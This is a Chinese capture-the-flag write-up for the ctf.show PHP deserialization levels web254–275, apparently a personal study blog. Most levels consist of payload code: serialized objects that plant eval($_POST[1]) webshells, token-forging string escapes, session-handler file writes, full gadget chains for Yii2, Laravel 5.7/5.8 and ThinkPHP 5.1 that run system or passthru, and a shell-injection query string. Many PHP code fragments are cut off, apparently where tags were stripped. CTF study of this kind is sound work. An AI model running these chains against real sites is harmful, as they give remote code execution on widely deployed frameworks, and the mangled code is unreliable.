ctf-show反序列化
目录
web254
web255
web256
web257
web258
web259
web260
web261
web262
web263
web264
web265
web266
web267(有疑问)
web268
web269
web270
web271
web272
web273
web274
web275
web254
很简单只需要get传参一下
?username=xxxxxx&password=xxxxxx
web255
查看源码发现get传参方式跟上题一样,只需要将isvip改为true之后序列化,这样可以成功输出flag
isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
payload:
isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}
$a=new ctfshowUser();
echo urlencode(serialize($a));
?>
web256
这题与上一关相比多了个 让username!=password的条件,那么我们构造payload的时候,只需要手动更改一下username与password的初始值,让其不同即可
payload:
web257
观察源码发现class调用了getinfo函数,getinfo发现了关键代码eval命令执行函数,写入一个木马,读取到flag.php
这样的话需要将class指向backDoor类,get传参同上随意传即可
class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}
payload:
class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}
class backDoor{private $code='eval($_POST[1]);';public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
web258
这题加了个正则过滤,首先我们要看懂过滤了啥
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
相当与过滤 o:数字
将其中的o:数字改为o:+数字即可,剩下步骤同上一关
class=new backDoor();}public function __destruct(){$this->class->getInfo();}}
class backDoor{public $code='eval($_POST[1]);';public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
$b=serialize($a);
$c=str_replace('O:','O:+',$b);
echo urlencode($c);
?>
web259
我先放一放,费时间
web260
preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']
很简单,需要知道对于 字符串的序列化仍是它本身,那我们直接给ctfshow赋值为/ctfshow_i_love_36D/
web261
查看源码
分析发现魔术方法__invoke(): 当尝试将对象调用为函数时触发(没用)
魔术方法:__wakeup() 执行unserialize()时,先会调用这个函数
在PHP7.4以上版本,如果出现反序列化的魔术方法(这题是__unserialize),就会绕过__wakeup(优先执行反序列化的魔术方法)
这里判断code是否等于0x36d(十进制为877),并且是弱类型,于是我们在给uername赋值时应以877开头
file_put_contents($this->username, $this->password); :file_put_contents()函数:函数把一个字符串写入文件中,这里就是把password写入username中,那么我们需要将username写成一个文件
username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);
payload:
username=$u='877.php';$this->password=$p='';}
}echo urlencode(serialize(new ctfshowvip()));
?>
先给vip $_get传参,然后访问877.php,进行post传参,找到flag

web262
查看源码
这题有关键函数str_replace()对我们cookie传入的msg进行了字符串过滤(过滤后字符串只增多),并且当token==admin时才可以输出flag,但token已经被初始化为user,因此我们要凭借该过滤函数,构造一个字符串(含有fuck),这样在过滤后达到一个字符串溢出的效果,实现参数可控
eg:传入msg=('fuckfuck.....;s:5:"token";s:5:"admin";}','b','c'),过滤后后面的 b,c部分被挤出而无效,token成功赋值为admin
//index.php
from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);
?>//message.php
from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}
paylaod:
from = $f;$this->msg = $m;$this->to = $t;}
}
function check($msg){return str_replace('fuck', 'loveU', serialize($msg));
}
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg=check($msg);
echo $msg;
?>
输出后别忘了base64编码
web263
这题出现了一个登录页面,无法看到源码,想到源码泄露,一个个试试,发现在后缀添加www.zip即可得到源码
首先是这里,我们在登录后会自动创建一个session参数,如果超过五次就登陆失败,没有的话就将经过base64解码的cookie参数赋值给sesssion,这里便是造成了session(limit)参数可控
//index.php
error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}
进入check.php发现包含了inc.php,我们查看发现ini_set('session.serialize_handler', 'php');
我们知道php默认引擎是php的,但这里大概率在说明该php引擎为php.serialize,由于引擎的不同,便造成了自动反序列化的发生。
再往下看发现了文件写入函数,并且其中的username,password参数可控,并且没有什么限制,我们可以将木马写入读取flag
如:username=1.php;password=
username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}
?>
paylaod:
username = $username;$this->password = $password;}
}
$a = new User('1.php','');
echo base64_encode('|'.serialize($a));
?>
接下来,我们先访问index.php,cookie传入limit,在此访问index.php,之后访问check.php(由于处理引擎的不同,我们传入的序列化字符串会被自动反序列化)达到将木马写入文件的效果
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
传入该payload

web264
这关于262不同之处在于,设置了一个session,而该会话是有get传入的参数设置的,因此我们需要在get传入三个参数
构造payload:
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
from = $f;$this->msg = $m;$this->to = $t;}
}
function check($msg){return str_replace('fuck', 'loveU', serialize($msg));
}
$msg=new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg=check($msg);
echo $msg;
?>
在index.php传入payload,接着访问message.php,然后再cookie中添加msg=1(msg的值随意)
web265
查看源码,发现只有满足token=password才能输出flag,这里用到引用,将token引用为password,这样两者永远相等
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}
payload:
token=$t;$this->password = &$this->token;}public function login(){return $this->token===$this->password;}
}$admin = new ctfshowAdmin('123','123');
echo serialize($admin);
web266
查看源码发现,只要cs中没有ctfshow字符串,这样在对象调用结束时自动调用析构函数,输出flag
我们可以采用大小写绕过(PHP对类的大小写不敏感)
username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}
payload:
file_get_contents('php://input')
可以访问请求的原始数据流,可以获取到GET和POST的数据,该函数可以进行如同post一样的参数,因此直接抓包,在包中传参。

web267(有疑问)
查看源码,发现是yii框架,用弱口令登录admin/admin

登陆成功看到

get传数据/index.php?r=site%2Fabout&view-source
学艺不精,看了大佬的wp,如下图是yii反序列化

这个题system不行,然后看到别人有用passthru有回显,payload如下:
checkAccess = 'passthru';$this->id = 'cat /flag';}}
}
namespace Faker{use yii\rest\CreateAction;
class Generator{protected $formatters;
public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
//url传参,得到flag
?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19fQ==
web268
参考了大佬的wp(对yii框架不熟悉,有时间学学)
yii2框架 反序列化漏洞复现
目前至少知道有4条链可以用,继续用上题的链还是可以打通。如果这四条链都打不通了,那就去再挖一条试试。
这题的链子如下:(与上题类似,改一个细节就行了)

查看目录发现flags
checkAccess = 'passthru';$this->id = 'cat /flags';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
web269
继续用上一题的链子,发现目录存在flagsa,访问即可

payload:
checkAccess = 'passthru';$this->id = 'cat /flagsa';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
web270
这题用上面的链子不行了,用第四条
checkAccess = 'passthru';$this->id = 'cat /fl*';}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new DbSession();}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$a=new IndexAction();$this->writeCallback=[$a,'run'];}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
?>
web271
又是一个新框架,我太小白了,只能借用(有时间一定好好学学)
这道题是Laravel5.7框架
参考博客:laravel5.7 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel反序列化漏
command="system";$this->parameters[]="cat /flag";$this->test=new GenericUser();$this->app=new Application();}}
}
namespace Illuminate\Foundation{class Application{protected $bindings = [];public function __construct(){$this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'));}}
}
namespace Illuminate\Auth{class GenericUser{protected $attributes;public function __construct(){$this->attributes['expectedOutput']=['hello','world'];$this->attributes['expectedQuestions']=['hello','world'];}}
}
namespace{use Illuminate\Foundation\Testing\PendingCommand;echo urlencode(serialize(new PendingCommand()));
}
使用如上payload,post传参即可,若页面无flag,使用bpPOST传参即可

web272
这道题是Laravel5.8框架
参考博客:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞利用
poc:
events=new Dispatcher();$this->event=new QueuedCommand();}}
}
namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection="cat /flag";}
}
namespace Illuminate\Bus{class Dispatcher{protected $queueResolver="system";}
}
namespace{use Illuminate\Broadcasting\PendingBroadcast;echo urlencode(serialize(new PendingBroadcast()));
}

web273
方法与上题一样
web274
TP5.1的框架,首先要找到反序列化入口
查看源码发现

借用poc
append = ["lin"=>["calc.exe","calc"]];$this->data = ["lin"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单ajax伪装变量'var_ajax' => '_ajax', ];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin'];$this->hook = ["visible"=>[$this,"isAjax"]];}
}namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
之后get传参并在后面加上&lin=tac /flag,即可
web275
检测传参的内容,必须有php或flag才能为true执行system,这里直接用;将system前边的rm闭合即可
get传参为:?fn=php;ls 之后:?fn=php;tac flag.php,得到flag
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
